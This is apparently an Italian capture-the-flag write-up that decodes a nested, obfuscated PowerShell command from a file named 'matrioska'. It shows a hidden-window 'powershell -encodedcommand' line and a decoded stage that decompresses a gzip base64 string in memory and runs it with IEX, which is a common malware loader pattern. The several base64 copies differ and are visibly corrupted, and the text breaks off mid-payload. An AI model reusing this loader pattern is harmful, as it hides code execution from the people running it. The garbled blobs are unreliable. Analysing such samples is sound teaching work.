

Risolviamo questo esercizio utilizzando una qualunque macchina Linux.

Andando a vedere il contenuto del file con `cat`:

```
cat matrioska
```

otteniamo

```
powershell -nop -w hidden -encodedcommand
JGZsYWc9ImhpIGZyb20gdGhlcmUiOyRzPU5ldy1PYmplY3QgSU8uTWVtb3J5U3RyZWftKc
xbQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoIkg0c0lBQUFBQUFBQUERmWI2Vy9peUJM
L1BQa3IvQ0VTb0pERTRFQmdualphRGdNMjJjQ3ZBTmtvOHRHQXNiR05EN0RaM2YvOVZUZk
haR1l5NzgwN3B0blZFcw5rUHFycitGVjF1VkhjTW9wdjVUaTB6Vmp3TFVUZGFpaUliTitq
eWxkWDEzTlhYMUNmS0tZQzdiYlB4ZEQRslhjMVR6d3p4aXk0OGJwQThXclErdWFyYmxraG
lpTHF0NnNQSXozVTExVCTlcXVICjJ2ZlNseFVwRwdITXlJckNWSGh3NGVyRDJRbzhTSj1q
bDQ5UGJhMzZIV040cVZ2UmFBby85d0lncmEvMW0zdjVlUEhWaEtHeUlzUC9ic3VpaHRSaE
5hR2E2TW9YNkIrcDU2V0tFUzNRMk9GekpqNmpicCt2ZXU2dnFHN1I3YXNwWnRMY0s3aFdY
aHU0SnM2OXVCT0Rsdzd6dWQrL1RWWGVMMNR2ZH14bTBSM28zeE96cUlZcmU4czE4MFZxRD
hLV0tHU0JTaWZFMnd6OUNOL0h0ODkyUjVUdmxPSj1TSXhYampZbmlzYlBwC0VPdmp4ZlNl
eDFNT2FmQTZhStHDbWNjQXdwN1Nlc2I3bmx4ZnFsN00xVXVMRjlocmRjVjZNUWorUVViat
FUU1RkOVhUUGNwR0U1ckFzRjBFb3ZVV3VBRWFFS0U1Q2p6clpBdXUydm9QeTExN2l1a1dR
Ky95amNsL3lJdHFKd1AzUlJmbTNpNEJyRk1lRjRqRW5mZ1FPZ2VUT1FSeTQ4NDMxYjVlck
FIL2ZKRmpoNm8rcmQxTFZRaTVhNkRGNmpRSGZON2w2OWVIRE0ya2k4Q2MvOG1PYnJQdEUw
VVZLQUNQMDJBOHpIRTRsVEZEaDVYTjhEbXBQsZzQaWR3V1ZUcXVPYXc3aE9kanhpWHJXZk
50NnVmcFF1RHBtRHg1L05STGJ0VknJNTcrL0c5cG9ibnVvblhuNjJqWlBDWj kvTDJabzdp
S0N4OTJKVFFRNzG3bmpCTExhUjNSeUdORG5iNwV4YXpzK3IyMGVqR3VZRVBjSXJJS1VLSH
hwekNHRytSem5DV2dOK0IzNmtLYlhjOWhtNk1SOTNGclpTVHZ1NDF4dXVYb1VGyWxSQXZ2
Y0xGSXkwbDFrRmFtR0Y5bkhxVv1TKzZTWisyeXVrTGl4YmVwUmZCTDNVbmdIMHFQcWx1L0
Jqa2xNaUM3QW9NZ0JNbnTNkeGFvVXFfaNXRvV1ltMjR1VENibDNNV25wcmd0YkRpUnRJU1l3
Z3JHUVk1d3pvVlg4T2o4S2R6S0t1WFhnb2pWd2t5clVnU29MTmVlNG8waTY2UXRrNWY2Rj
JhZD1jdGdVR0tzVFNHK01oZlNRWFQ4dVvwb2R4bERYy3NWdkV1OS9NKy9MRXZPRm1hMFFI
UU9aSnh2eHVabkZlTHNRVGHPL2FENmRzU1RJaFRHZZfNbjl kvk9QVVBWQkptVXNuek84OV
o3TEdpc3VFenlnRlNqDvZsd2x3bjFDMctQeli2bEtublJ0TGRNck53dVRSaERaeHMxRHk2
TGp2dG9RR1ZWTldWWGxodzI2MlZMVWtxRHR4S2EwRUNYtm9kc3kwS3ljN2hwMFJaRG9xVG
l3SDRMbVdiWllSdG1FRlpiQndOMXp1bHd4czy2VFRQUUozM2RYN0xHL21ZeFntSctVTmtw
bHVzZnpjVGZnM1pVQTxWFXPODBCV2YrdTdlSitaZ3NySStNOHJtYXd6bVQzZWE0R05PWj
h6cVlyWEdiaXNjb1puejJIbjN2Y2JoekhoR09mazRVVkw1OTF1RzkwdGZHVFAvZfP3SG02
NHziQ2dRNH1DSkg1L2RlMlJpMTREbjRvSmd4UVntdzJzSDJqL3pDZWJ3bXY3LzRjNzY0MG
tkeDRndHVTelo3eE9maHJ2c01QUkF1aXFs3RqZVp3ZS9rWlQ4SWZ2aE12UXUzVG1reW9D
aGpybE13em1HZndqbTA0bng5MkpVbHk2c0s0SmF3Nng5aWY0a1ZzK1hwZEdSUDdYK04yb2
I4Wk1icS9yN1pIL2VweTNhOEc2L0tOdEdiSTNNAvP4VFhDazdVMnZoSGZMQjdzL2dhZXZo
WFhwcFpkSHd1YkpmQ3JLjY2VE1yVnRzMXRncVJjVz1VM3d1em1ZWGkvZmJ6Nwtxek5Dbz
VBdFIOSHVTdy9vV1RteC92czhkNwt4R3hSeWJZTz1FbGR6K29Qb0hlNGZzZ3l6NEU2eDFV
cnlan3BKNVlmcDdJczhoenRlckxNdzlOWn1WbDl5ZTFockw0cmoyQS9DR1ZqTmVnanNnY3
JmZU9lcWU5TjBHZHoxZXI2dmc2NmVrUHdSY3lZOXJRTmUzWXZQNGtEVXJQb2lOUXdxUjdD
OGJPZXd2d0F6Mi9XeGh4MG5ubFlQtlkxNWliNHZHY0dwcmlvdGJrOXJjBHZObkU0UitCTE
VtenYlNHlZQXQrallzYTdjCFBZdFN6VFRNOFVWeEhobjhYaUhuU3NpSTd1NHdqeJRMHNN
RTh3enBEeHIzREUrSm1BK1FEaXhGU2JpTW40Q1djdTFsazl0RUN2d1JHc1Z0MTV3bTY1bS
svZ0w5VHVLMTFqUW5naDF2U1hzWVkl1ZytRRnpLVl03VEFYUmFlNUVWa0hPRXd4ZGpnR204
```

bzZaVWFtdUJTdlg1c1o1TWtFWkdsMmo5TVNhVjBpOG1FK2dCZUQ4Ykt4L3dMaVpLaURwZW  
t5NjRXZ0crS0RzYzlpbThUU0FYMTdGdU93UDhiQThEdVBCbGN5dDV1ZVlaaldFYXZhZ3Z1  
OHhySER0ZE6SVE4R0JHL0laY0NvbklrVGZvanRJSFYzWEExXenRSTHZUYWFQOFJNbk3Mk  
phSGdPVk1nbHVROXhKTEgzR3FjNDE0KzZZSctVQ0xhTm43OW5ML1FuSjNIUWdIMmlqU0hu  
cWc2Y2Y0WnQzSGQyMEsvUTBCOXRjZjh1OTJ1NEx5d2I4RDRYeC9EZTNrVk42RnNOK2EyOF  
VUZmxPN1ZEBt1SR2NsNng4UHVmTVQrZk4waU5tdUx6aUtqUk0wUGJXVVBsS09kOEh0cVYr  
aExOVDhZTDg0bXNTU044dnJ2SDdiYlc2WTFkQyt3UmNmMVp1UWQrNmNCdnpanDB0emRXeD  
FoZW1PMFh2NVFuSfD5b11YL0ltYWF0QmtSZU16M3NHUmI3bTVKYU1zb09PUXYxT20vd0tu  
OHBUEenY2cFhESDg5S2I4NU9DK2QvZ25UYStkeDU2UXpMV1gxSnhQQUs4ZmtIaU1lQytoZn  
VQdUgrUDdSK0pSRDZPeDE3RjhSaGcrYjN4N1Z3MWRMbH1jN1IwbWwyZDvrV0pybmU1aXVt  
WjZtd2tPZnhZOHBwZHh1RVZtVTRsQ2VUVVd6TjY3QVNUbVpws0podU1FbHZ2R215SGw1em  
1oS3ZVnROT3B3czRkV2V1MWxVMGk5UKn2cHdxa2xOYWErcE0xTXBnRjdPeloyN2MxeGhy  
b0txemxnUThqN2FWU203elNYRmlqRndDR1k1Snp2OG51V2FwSTR6WjJWanR3dnI2ZURsal  
p4UDRiUVBU2I0M1pkTkrQdUE4eW1ZN3liV09NcXlGd3A3T3hDT0g5N1MrcWxsUFk2ZHVl  
elNjUTdzei9INTQ0Q2VTSkgraG93SStwOU1UK0p2WjRnTGJDUEoza2xOCHFUYXNRQi84RX  
YyWjE0bG42OXFZSFpkNkNsMzdFK3pWQy8xVmlLa2xPWDZPctJHWDNYWjZteDZyQU1HWmdH  
VUd2Q1EwcF1HNTZiQUROaG1PZWPRLzU4YTE5a095UzdoRTJtaFJtZ0lmdk5QWk9iY1Y2VT  
FYTk1KRW5CalpBTWFpeDAwdmFwdlpZQmNrd2FSWdlTV212NWhzV29NU200enN4MVoxeENW  
alkxZUNjeE9jUTdxZGg1NFdpWGhOajlZmk81dFczWWYyUGJkdCtYeDFZZGVxZ2RmY1dRK0  
k1YXRvTWpCM1RGeEQraUxOTm1NNDY2WTNNbDNxYWXeek5LZ0ZzbWNOak5LNHC0djdNcnRk  
N3N4ZWMY0trWVg5Tkp4MEpQdjEwWG14ZTJwTFFydkZTSDFGdFFTDAYZ2JFN1BkR2ROeX  
R5RX1LdFJacUJXVGRuTXNzdW1pclVMU1lKZWN5Tzc4dGtJSG5MUVFIYWcxbk5JU0I5MkpW  
aT1CRitqaE9kQWxWeGF3TDB1RE5jWjRsdzRsTcsxcWFqQ2FzeFo1dHB1Uk5tVzFjYWM3cz  
FYUFVsUzNTV3V1dEZEWjBoT2FRQ1VvbDJ5VDVoV0ZDWHk5VzJISEtoOHFibEI3S2tXYURM  
OVZaVWJ1YkljVHM3NEpYwk9GMne4bUh2Y1I2a1ZMY20xWmJrc3JzeDVxZkgrU0V0OHROUn  
J5U2p4bFJ2cjZvVFJsNUdxMHcrK0hXVje0MnRYM1phTmP0RE1HMTJHUm41N083Qm4rc1N6  
dVpDYnBtWU1COGdERGZzaGFvQSsveDh5ZU5oQ01wODNPMnBkeHpCLzdDNGRMV21EZjZLS2  
JaaTByN1hGY2hsQXpKZGxKeHpMTG1XcEhhcWxzczZXTVN3MkZmVml0eGVIVFlxTHhITk0y  
Ni9iUDNRY1h1dENGTG5TaEMxM29RaGU2ME1VdWRLRUxYZWhDRjdyUUQxTzVMb3haZmpRdk  
JaSGw4bW0zSE13UjdjNFE0MV1NZHJrMmxwM0dUN2Z4cjB3bmZKa2dSRTVkv1RyTmhpNkpy  
UTdqU2pObXFxbWxZUHpuYmZ5TGtxck44UC91Um15VEZTVTM3djVzZXk1MG9SUGgvMHVRLz  
IwL0NrcVNEcWZzZ1VQWlNNTT0Z6UnhaVExrNnU0aGtOdTBQMkVDVjYrbWd6OGFxm0YreWUx  
YWhKVFB0VkvZqNTU5c9vYjhKN1Q1OXVzS2ZiOC85a01wZnAvaVN3ejhVZU42Nk1YWctRUH  
V1NVNkZWpNZHZiZ3I0b3NSNTV2azZmVGxkYkRuM2I0MFVwREVWL0xFM21kbnFiejd4L3Q1  
dEVVRVBvN1h1dm56ODJFWG43L1U3ZnRnNTN0c1krVFpla2MrL2Y5WE1RYUdIWEthTUwrcW  
N2bkp2dUs1djRwc20zN255OFV2KytYQWI1YVZJUGF2UVpNcnZ0Z3JVbWJGUUUCeDhNcEw1  
bk56R09IcDR1cFJ5WXZ6NGNRYnVGZCtBT0VEZUlsNFdLVHBSYUpYR3p3ZTZjUFhqc0xUOE  
lNdWZ4Ulh4YlpRM2xyelY1QkpOaFNQN1l1S3QwZjh4QUY4by9mZ1FZdkRJaFpZemRNU2c5  
L0VxWE9WK3VicmklDFNiOGNqZUkrb1diYWdheWIwbzFzUDRkdVViMUc4VXVheVF20V1MRk  
1kT3FHdWQrb082QmZjYUVWT21iaHZoSXNFM0Y2akRmYlhmcVoxdUh4YitUa25JU1BZVzNm  
SytBVmlLM0lqYy95RkNNRE9NL1JPb3RrWnVERGNBQUE9PSIpKTtJRVggKE5ldy1PYmplY3  
QgSU8uU3RyZWftUmVhZGVyKE5ldy1PYmplY3QgSU8uQ29tcHJlc3Npb24uR3ppcFN0cmVh  
bSgkcyxbSU8uQ29tcHJlc3Npb24uQ29tcHJlc3Npb25Nb2RlXT06RGVjb21wcmVzcykpKS  
5SZWFkVG9FbmQoKTS=

```
cat matrisoka  
powershell -nop -hidden -encodedcommand 36z2Wc9ImhpIGZyb20gdGhlcmUiOyRzPU51dy1PYmplY3QgSU8uTWVtb3J5U3RyZWftKC  
xbQ29udmVydF06OkZyb21CYXN1nJRTdHJpbmcoIkg0c0lBQUFBQUFBQUERMWI2Vy9peUJM  
L1BQa3IvQ0VtB0pERTRFQmdualphRGdNMjJQ3ZBTmtvOHRHQXNiR05EN0Ram2YvOVZUZk  
har1l5NzgwN3BOb1ZfCw5rUHFycitGVjF1VkhjTW9wdjVUaTB6Vmp3TFVUZGFpaU1iTitq  
eWxkWDeZTlhYMUNMs0tZQzdiYlB4ZEQRShjMVR6d3p4aXk0OGJwQThXc1ErdWFyYmxraG  
lpTHF0NnNQSXozVTEExVcTlCXYIcJ2Z1NseFVwRwdITXlJcKNSGh3NGVyRDJRbzhTSj1q  
bDQ5UGJhMzZIV040cVZ2UmFBby85d0lncmEvMW0zdjV1UEhWaEtHeU1zUC9ic3VpaHRsAE  
5hr2E2TW9YnkIrcDU2V0tFUzNRMk9GekpqNmpicCt2ZXU2dnFHN1I3YXNwWnRMY0s3aFdy  
aHU0SnM2OXVCT0Rsdzd6dWQrL1RWWGVMNHR2ZH14bTBSM28zeE96cU1ZcmU4cE4MFZxRD  
hLV0tHU0JTaWZFMnd6OUNOL0h0ODkyUjVudmxPSj1TSXhYampZbmlzY1BwC0VPdmp4Z1N1  
eDFNT2FmQTZhsThDbWNjQXdWN1Nlc2I3bmx4ZnFsn00xVXVMRjlocmRjVjZNUWorUVViat  
FUU1RkOVhUUGNwR0U1ckFzRjBFb3ZVV3VBRWFFS0U1Q2p6clpBdXUydm9QeTExN2l1a1dR  
Ky95amNsL31JdHFkd1AzU1JmbTNPNEJyRk1lRjRqRW5mZ1FPZ2VUTlFSeTQ4NDMxYjVlCk  
FiL2ZKRmpoNm8rcmQxTFZRaTVhNkRGNmpRSGJON2w2OWVIRE0ya2k4Q2MvOG1PYnJQdEUW  
VVZLQUNQMDJBOHpIRTRsVEZEaDVYTjhEbXBQSzZQaWR3V1ZUCXVPYXc3aE9kanhpWHJXZk  
50NnVmcFF1RHBtRHg1L05STGJ0vknJNTcrL0c5cG9ibnVvblhuNjJqW1BDWjkvTDJabzdp  
S0N40TJKVFFRNzq3bmpCTExhUjNSeUOR65iNwV4YXpzK3IyMGVqR3VZRvBjSXJJS1VLSH  
hwekNHRytSem5DV2dOK0IzNmtLYlhjOWhNk1SOTNGclpTVHZ1NDF4dXVYb1VGyWxSQXZ2  
Y0xGSXkwbDFrRmFtR0Y5bkhxVV1TKzZTWisyeXVrTG14YmVwUmZCTDNVbmdIMHFQcWx1L0  
Jqa2xNaUM3QW9NZ0JNbTnkeGFvXFaNXrvV1lMjR1VENibDNNV25wcmd0YkRpUnRJU113  
Z3JHUVk1d3pvVlg4T2o4S2R6S0t1WfhnB2pWd2t5c1VnU29MTmV1NG8waTY2UXRrNwY2Rj
```

L'output del comando e lo switch powershell *encodedcommand* lascia intuire che la stringa successiva sia *base64 encoded*.

L'help di powershell riporta infatti:

-EncodedCommand

```
Accepts a base-64-encoded string version of a command. Use this parameter to submit commands to Windows PowerShell that require complex quotation marks or curly braces.
```

Proviamo a decodificarla mandando il payload, attraverso il comando *echo*, in pipe al comando *base64 -d* :

echo

```
JGZsYwC9ImhpIGZyb20gdGhlcmUiOyRzPU51dy1PYmplY3QgSU8uTWVtb3J5U3RyZWftKC  
xbQ29udmVydF06OkZyb21CYXN1nJRTdHJpbmcoIkg0c0lBQUFBQUFBQUERMWI2Vy9peUJM  
L1BQa3IvQ0VtB0pERTRFQmdualphRGdNMjJQ3ZBTmtvOHRHQXNiR05EN0Ram2YvOVZUZk  
har1l5NzgwN3BOb1ZfCw5rUHFycitGVjF1VkhjTW9wdjVUaTB6Vmp3TFVUZGFpaU1iTitq  
eWxkWDeZTlhYMUNMs0tZQzdiYlB4ZEQRShjMVR6d3p4aXk0OGJwQThXc1ErdWFyYmxraG  
lpTHF0NnNQSXozVTEExVcTlCXYIcJ2Z1NseFVwRwdITXlJcKNSGh3NGVyRDJRbzhTSj1q  
bDQ5UGJhMzZIV040cVZ2UmFBby85d0lncmEvMW0zdjV1UEhWaEtHeU1zUC9ic3VpaHRsAE  
5hr2E2TW9YnkIrcDU2V0tFUzNRMk9GekpqNmpicCt2ZXU2dnFHN1I3YXNwWnRMY0s3aFdy  
aHU0SnM2OXVCT0Rsdzd6dWQrL1RWWGVMNHR2ZH14bTBSM28zeE96cU1ZcmU4cE4MFZxRD  
hLV0tHU0JTaWZFMnd6OUNOL0h0ODkyUjVudmxPSj1TSXhYampZbmlzY1BwC0VPdmp4Z1N1  
eDFNT2FmQTZhsThDbWNjQXdWN1Nlc2I3bmx4ZnFsn00xVXVMRjlocmRjVjZNUWorUVViat  
FUU1RkOVhUUGNwR0U1ckFzRjBFb3ZVV3VBRWFFS0U1Q2p6clpBdXUydm9QeTExN2l1a1dR  
Ky95amNsL31JdHFkd1AzU1JmbTNPNEJyRk1lRjRqRW5mZ1FPZ2VUTlFSeTQ4NDMxYjVlCk  
FiL2ZKRmpoNm8rcmQxTFZRaTVhNkRGNmpRSGJON2w2OWVIRE0ya2k4Q2MvOG1PYnJQdEUW  
VVZLQUNQMDJBOHpIRTRsVEZEaDVYTjhEbXBQSzZQaWR3V1ZUCXVPYXc3aE9kanhpWHJXZk  
50NnVmcFF1RHBtRHg1L05STGJ0vknJNTcrL0c5cG9ibnVvblhuNjJqW1BDWjkvTDJabzdp  
S0N40TJKVFFRNzq3bmpCTExhUjNSeUOR65iNwV4YXpzK3IyMGVqR3VZRvBjSXJJS1VLSH  
hwekNHRytSem5DV2dOK0IzNmtLYlhjOWhNk1SOTNGclpTVHZ1NDF4dXVYb1VGyWxSQXZ2  
Y0xGSXkwbDFrRmFtR0Y5bkhxVV1TKzZTWisyeXVrTG14YmVwUmZCTDNVbmdIMHFQcWx1L0  
Jqa2xNaUM3QW9NZ0JNbTnkeGFvXFaNXrvV1lMjR1VENibDNNV25wcmd0YkRpUnRJU113  
Z3JHUVk1d3pvVlg4T2o4S2R6S0t1WfhnB2pWd2t5c1VnU29MTmV1NG8waTY2UXRrNwY2Rj
```

JhZDljdGdVVR0tzVFNHK01oZ1NRWFQ4dVvwb2R4bERYy3NWdkV1OS9NKy9MRXZPRm1hMFFI  
UU9aSnh2eHVabkZ1THNRVGHPL2FENmRzU1RJaFRHzzFnbjlkV9QVVBWQkptVXNuek840V  
o3TEdpc3VFenlnR1nQdVZsd2x3bjFDMctQeli2bEtublJ0TGRNck53dVRSaERaeHMxRHk2  
TGp2dG9RR1ZWTldWWGxodzI2M1ZMVWtxRHR4S2EwRUNYtm9kc3kwS3ljN2hwMFJaRG9xVG  
l3SDRMbVdiWllSdG1FRlpiQndOMXp1bHd4czy2VFRQUUozM2RYN0xHL21ZeFNtSctVTmtw  
bHVzZnpjVGZnM1pVQTgxWXFPODBCv2YrdTdlSitaZ3NySstNOHJtYXd6bVQzZWE0R05PWj  
h6cVlyWEdiaXNjb1puejJIbjN2Y2JoekhoR09mazRVVkw1OTF1RzkwdGZHVFAvZFP3SG02  
NHziQ2dRNH1DSkg1L2R1M1JpMTREbjRvSmd4UVNtdzJzSDJqL3pDZJW3bXY3LzRjNzY0MG  
tkeDRndHVTelo3eE9maHJ2c01QUkFlaxFsb3RqZVp3ZS9rWlQ4SWZ2aE12UXUzVG1reW9D  
aGpybE13em1HZndqbTA0bng5MkpVbHk2c0s0SmF3Nng5aWY0a1ZzK1hwZEdSUDdYK04yb2  
I4Wk1icS9yN1pIL2VweTNhOEc2L0tOdEdiSTNNAvP4VFhDazdVMnZoSGZMQjdzL2dhZXZo  
WFhwcFpkSHd1YkpmQ3JLNjY2VE1yVnRzMXRncVJjVz1VM3d1em1ZWGkvZmJ6NWtxek5Dbz  
VBdFIOSHVTdy9vV1RteC92czhkNwt4R3hSeWJZTz1FbGR6K29Qb0h1NGZzZ316NEU2eDFV  
cnlaN3BKNVlmcDdJczhoenRlckxNdzlOWnlWbDl5ZTFockw0cmoyQS9DR1ZqTmVnanNnY3  
JmZU91cWU5TjBHZHoxZXI2dmc2NmVrUHdSY3lZOxJRTmUzWXZQNGtEVXJQb2lOUXdxUjdD  
OGJPZXd2d0F6mi9XeGh4MG5ubFlQtlkxNwlinHZHY0dwcmlvdGJrOXJJBhZObkU0UitCTE  
VtenY1NHlZQXQrallzYtdjcfBzdFN6VFRNOFVweEhobjhYaUhuU3NpSTd1NHdqeJRMHNN  
RTh3enBEeHIzREUrSm1BK1FEaXhGU2JpTW40Q1djdTFsazl0RUN2d1JHc1Z0MTV3bTY1bS  
svZ0w5VHVLMTFqUW5naDF2U1hzWVklZytRRnpLVl03VEFYUmFlNUVWa0hPRX4dZGpnR204  
bzZaVWFtdUJtd1g1c1o1TWtFWkdsMmo5TVNhVjBpOG1FK2dCZUQ4Ykt4L3dMaVpLaURwZW  
t5NjRXZ0crS0RzYzlpbThUU0FYMTdGdU93UDhiQThEdVBCbGN5dDV1ZVlaaldFYXzhZ3Z1  
OHhySER0ZEV6SVE4R0JHL0laY0NvbklrVGZvanRJSFYzWEExXenRSTHZUYWFQOFJNbk3Mk  
phSGdPvk1nbHVROXhKTEgzR3FjNDE0KzZSctVQ0xhTm43OW5ML1FuSjNIUWdImmlqU0hu  
cWc2Y2Y0WnQzSGQyMEsvUTBCOXRjZjh1OTJ1NEx5d2I4RDRYeC9EZTNrV42RnNOK2EyOF  
VUZmxPN1ZEBt1SR2NsNng4UHVmTVQrZk4waU5tdUx6aUtqUk0wUGJXVVBsS09kOEh0cVYr  
aExOVDhZTDG0bXNTU044dnJ2SDdiYlc2WTFkQyt3UmNmMVp1UWQrNmNCdnpaND0emRXeD  
FoZW1PMFh2NVFuSfD5b1lYL0ltYWF0QmtSZU16M3NHUmI3bTVKYU1zb09PUXYxT20vd0tu  
OHBUnY2cFhESDg5S2I4NU9DK2QvZ25UYStkeDU2UXpMV1gxSnhQQUs4ZmtIaU1lQytoZn  
VQdUgrUDdSK0pSRDZPeDE3RjhSaGcrYjN4N1Z3MWRMBHljN1IwbWwyZDvrV0pybmU1aXvt  
WjZtd2tPZnhZOHBwZhh1RVZtVTRsQ2VUVvd6TjY3QVNUbVpws0podU1FbHZ2R215SGw1em  
1oS3ZVvNROT3B3czRkV2V1MWxVMGk5UkN2cHdxa2xOYWErcE0xTXBnRjdPeloyN2MxeGhy  
b0txemxnUThqN2FWU203elNYRmlqRndDR1k1Snp2OG51V2FwSTR6WjJWanR3dnI2ZURsa1  
p4UDRiUVBU2I0M1pkTkrQdUE4ew1ZN3liV09NcX1Gd3A3T3hDT0g5N1MrcWxsUFk2ZHVL  
elNjUTdzei9INTQ0Q2VTSkgraG93SstwOU1UK0p2WjRnTGJDUEoza2xOCHFUYXNRQi84RX  
YyWjE0bG42OXFZSFpkNkNsMzdFK3pWQy8xVmlLa2xFWDZPcTJHWDNYWjZteDZyQU1HWmdH  
VUd2Q1EwcFlHNTZiQUROaG1PZWPRLzU4YTE5a095UzdoRTJtaFJtZ0lmdk5QWk9iY1Y2VT  
FYTk1KRW5CalpBTWFpeDAwdmFwdlpZQmNrd2FSWD1tV212NWhzV29NU200enN4MVoxeENW  
alkxZUNjeE9jUTdxZGg1NFdpWGHoaJlzMk81dFczWWYyUGJkdCtYeDFZZGVxZ2RmY1dRK0  
k1YXRvTWpCM1RGeEQraUxOTmlNNDY2WTNNbDNxYwXeek5LZ0ZzbWNOak5LNhc0djdNcnRk  
N3N4ZWMY0trWvg5Tkp4MEpQdjEwWGL4ZTJwTFFydkZTSDFGdFFtDDayZ2JFN1BkR2ROeX  
R5RX1LdFJacUJXVGRuTXNzdW1pclVMU1lKZWN5Tzc4dGtJSG5MUVFIYwCxbk5JU0I5MkpW  
aT1CRitqaE9kQWxWeGF3TDB1RE5jWjRsdzRsTcsxcWFqQ2FzeFo1dHB1Uk5tVzFjYWM3cz  
FYUFVsUzNTV3V1dEZEWjBoT2FRQ1VvbDJ5VDVoV0ZDWHk5VzJISEtoOHFibeI3S2tXYURM  
OVZaVWJ1YkljVHM3NEpYwk9GMne4bUh2Y1I2alZMY20xWmJrc3JzeDVxZkgrU0V0OHROUn  
J5U2p4bFJ2cjZvVFJsNUdxMHcrK0hXVje0MnRYM1phTmP0RElHMTJHUm41N083Qm4rc1N6  
dVpDYnBtWU1COGdERGZzaGFvQSsveDh5ZU5oQ01wODNPMnBkeHpCLzdDNGRMV21EzjZLS2  
JaaTByN1hGY2hsQXpkZGxKeHpMTG1XcEhhcWxzczZXTVN3MkZmVml0eGVIVFlxTHhITk0y  
Ni9iUDNRY1h1dENGTG5TaEMxM29RaGU2ME1VdWRLRUxYZWhDRjdyUUQxTzVMb3haZmpRdk

```
JaSGw4bW0zSEl3UjdjNFE0MVlNZHJrMmxwM0dUN2Z4cjB3bmZKa2dSRTVkv1RyTmhpNkpy
UTdqU2pObXFxbWxZUHPUYmZ5TGtxck44UC9lUm15VEZTVTM3djVzZXk1MG9SUGgvMHVRLz
IwL0NrcVNEcWZzZlVQWlNTT0Z6UnhaVExrNnU0aGtOdTBQMkVDVjYrbWd6OGFxM0YreWUx
YWhKVFB0VkvZqNTU5cc9vYjhKN1Q1OXVzS2ZiOC85a01wZnAvaVN3ejhvZU42Nk1YWctRUH
V1NVNkZWPnZHZiZ3I0b3NSNTV2azZmVGxkYkRuM2I0MFVwREVWL0xFM21kbnFiej4L3Q1
dEVVRVBvNlh1dm56ODJFWG43L1U3ZnRnNTN0c1krVFpla2MrL2Y5WE1RYUdIWEthTUwrcW
N2bkp2dUs1djRwc20zN255OFV2KytYQWI1YVZJUGF2UVpNcnZ0Z3JVbWJGUUtCeDhNcEw1
bk56R09IcDR1cFJ5WXZ6NGNRYnVGZCtBT0VEZULsNFdLVHBSYUpYR3p3ZTZjUFhqc0xUOE
lNdWZ4Ulh4YlpRM2xyelY1QkpOaFNQN11lS3QwZjh4QUY4by9mZlFZdkRJaFpZemRNU2c5
L0VxWE9WK3VicmklDFNiOGNqZUkrbl1diYWdheWIwbzFzUDRkdVViMUc4VXVheVF2OVlMRk
1kT3FHdWQrb082QmZjYUVWT21iaHZoSXNFM0Y2akRmYlhmcVoxdUh4YitUa25JU1BZVzNm
SytBVm1LM0lqYy95RkNNRE9NL1JPb3RrWnVERGNBQUE9PSIPKtTJRvGgKE5ldy1PYmplY3
QgSU8uU3RyZWftUmVhZGVyKE5ldy1PYmplY3QgSU8uQ29tcHJlc3Npb24uR3ppcFN0cmVh
bSgkcyxbSU8uQ29tcHJlc3Npb24uQ29tcHJlc3Npb25Nb2RlXT06RGVjb2lwcmlwcykKs
5SZWFkVG9FbmQoKts= | base64 -d
```

Il risultato è il seguente:

```
$flag="hi from there";$s=New-Object
IO.MemoryStream(,[Convert]::FromBase64String("H4sIAAAAAAAAA+1b6W/iyBL/
PPkr/CESoJDE4EBgnkZaDgM22ICvAnko8tGASbGND7DZ3f/9VTfHZGYy7807pNnVEqnKpQ
rr+FVluVHcMopv5Ti0zVjwLUTdaiiMbN+jyldX13NXX1CfKKYC7bbPxdD+JXc1Tzwzxiy4
8bpA8WsQ+uarblkhiiLqt6sPIz3U11T+equHr2vfSlxUpEgHMyIrCVHhw4erD2Qo8SJ9j1
49Pba36HWN4qVvRaAo/9wIgra/1m3v5ePHVhKGYIsP/bsuihtRhNaGa6MoX6B+p56WKES3
Q2OFzJj6jbp+veu6vqG7R7aspZtLcK7hWXhu4Js69uBODlw7zud+/TVXeL4tvdyxm0R3o3
xOzqIYre8s180VqD8KWKGSBSife2wz9CN/Ht892R5Tvl0J9SIXjYniscPVseOvjxfSex
1MOafa6aI8CmccAwV6Sesb7nlxfql7M1UuLF9hrdcV6MQj+QUbi1TRTd9XTPcpGE5rAsF0
EovUWuAEaEKE5CjzrZAUu2voPy117iukWQ+/yjc1/yItqdwP3RRfm3i4BrFIEF4jEnfgQO
geTNQRy48431b5KrAH/fJFjh6o+rd1LVQi5a6DF6jQHfn7l69eHDM2ki8Cc/8iObrPtE0U
VKACP02A8zHE41TFDh5XN8DmpPK6PidwWVTquOaw7hOdxixrWfnt6ufpQuDpmDx5/NRLb
tVCI57+/G9pobnuonXn62jZPCZ9/L2Zo7iKcx92JTQQ787njBLLaR3RyGNDnb5exazs+r2
0ejGuYEPcIrIKUKHxpzCGG+RznCWgN+B36kKbXc9hm6MR93FrZSTvu4lxuXoUFalRAvvc
LFiy0l1kFamGF9nHqUYS+6SZ+2yukLixbepRfBL3UngH0qPqlu/BjklMiC7AoMgBmM3dxa
gUqZ5toWYm24uTCbl3MWNprgtbDiRtISYwgrGQY5wzoVX8Oj8KdzKKuXXgojVwkyrUgSoL
Nee4o0i66QtK5f6F2ad9ctgUGKsTSG+MhgSQXT8uUpodx1DXcsVvEu9/M+/LEvOFma0QHQ
OZJxvXuZnFeLsQThO/ad6dsSTIhTGg1gn9dVOPUPVBjMUsnz089Z7LGisuEzygFSPuVlwl
wn1C0+PzR6lKnnRtLdMrNwuTRhdZxs1Dy6LjvtoQFVVNWVXlhw262VLUkqDtXka0ECXNod
sy0Kyc7hp0RZDoqTiwH4LmWbZYRtmEFZbBwN1zulwxs66TTPQJ33dX7LG/mYxSmH+UNkpl
usfzcTfg3ZUA81Yq080Bwf+u7eJ+ZgsrI+M8rmawzmT3ea4GNOZ8zqYrXGbiscoZnz2Hn3
vcbhzHhGofk4UUVL591uG90tfGTP/dZwHm64vbCgQ4yCJH5/de2Ri14Dn4oJgqQSmw2sH2j
/zCebwmv7/4I7640kdx4gtuSzZ7xOfhrvsmPRAuiqlotjeZwe/kZT8IfvhMvQu3TmkyoCh
jrlMwzmGfwjm04nx92JULy6sK4Jaw6x9if4kVs+XpdGRP7X+N2ob8ZMbq/r7ZH/epy3a8G
6/KNtGbI3MiZxTXCk7U2vhHfLB7s/gaevhXXppZdHwubJfCrK666TMrVts1tgqRcW9U3wu
zmYXi/fbz5kqzNCo5AtR4HuSw/oWTmx/vs8d5kxGxRybyO9Eldz+oPoHe4fsgyz4E6x1Ur
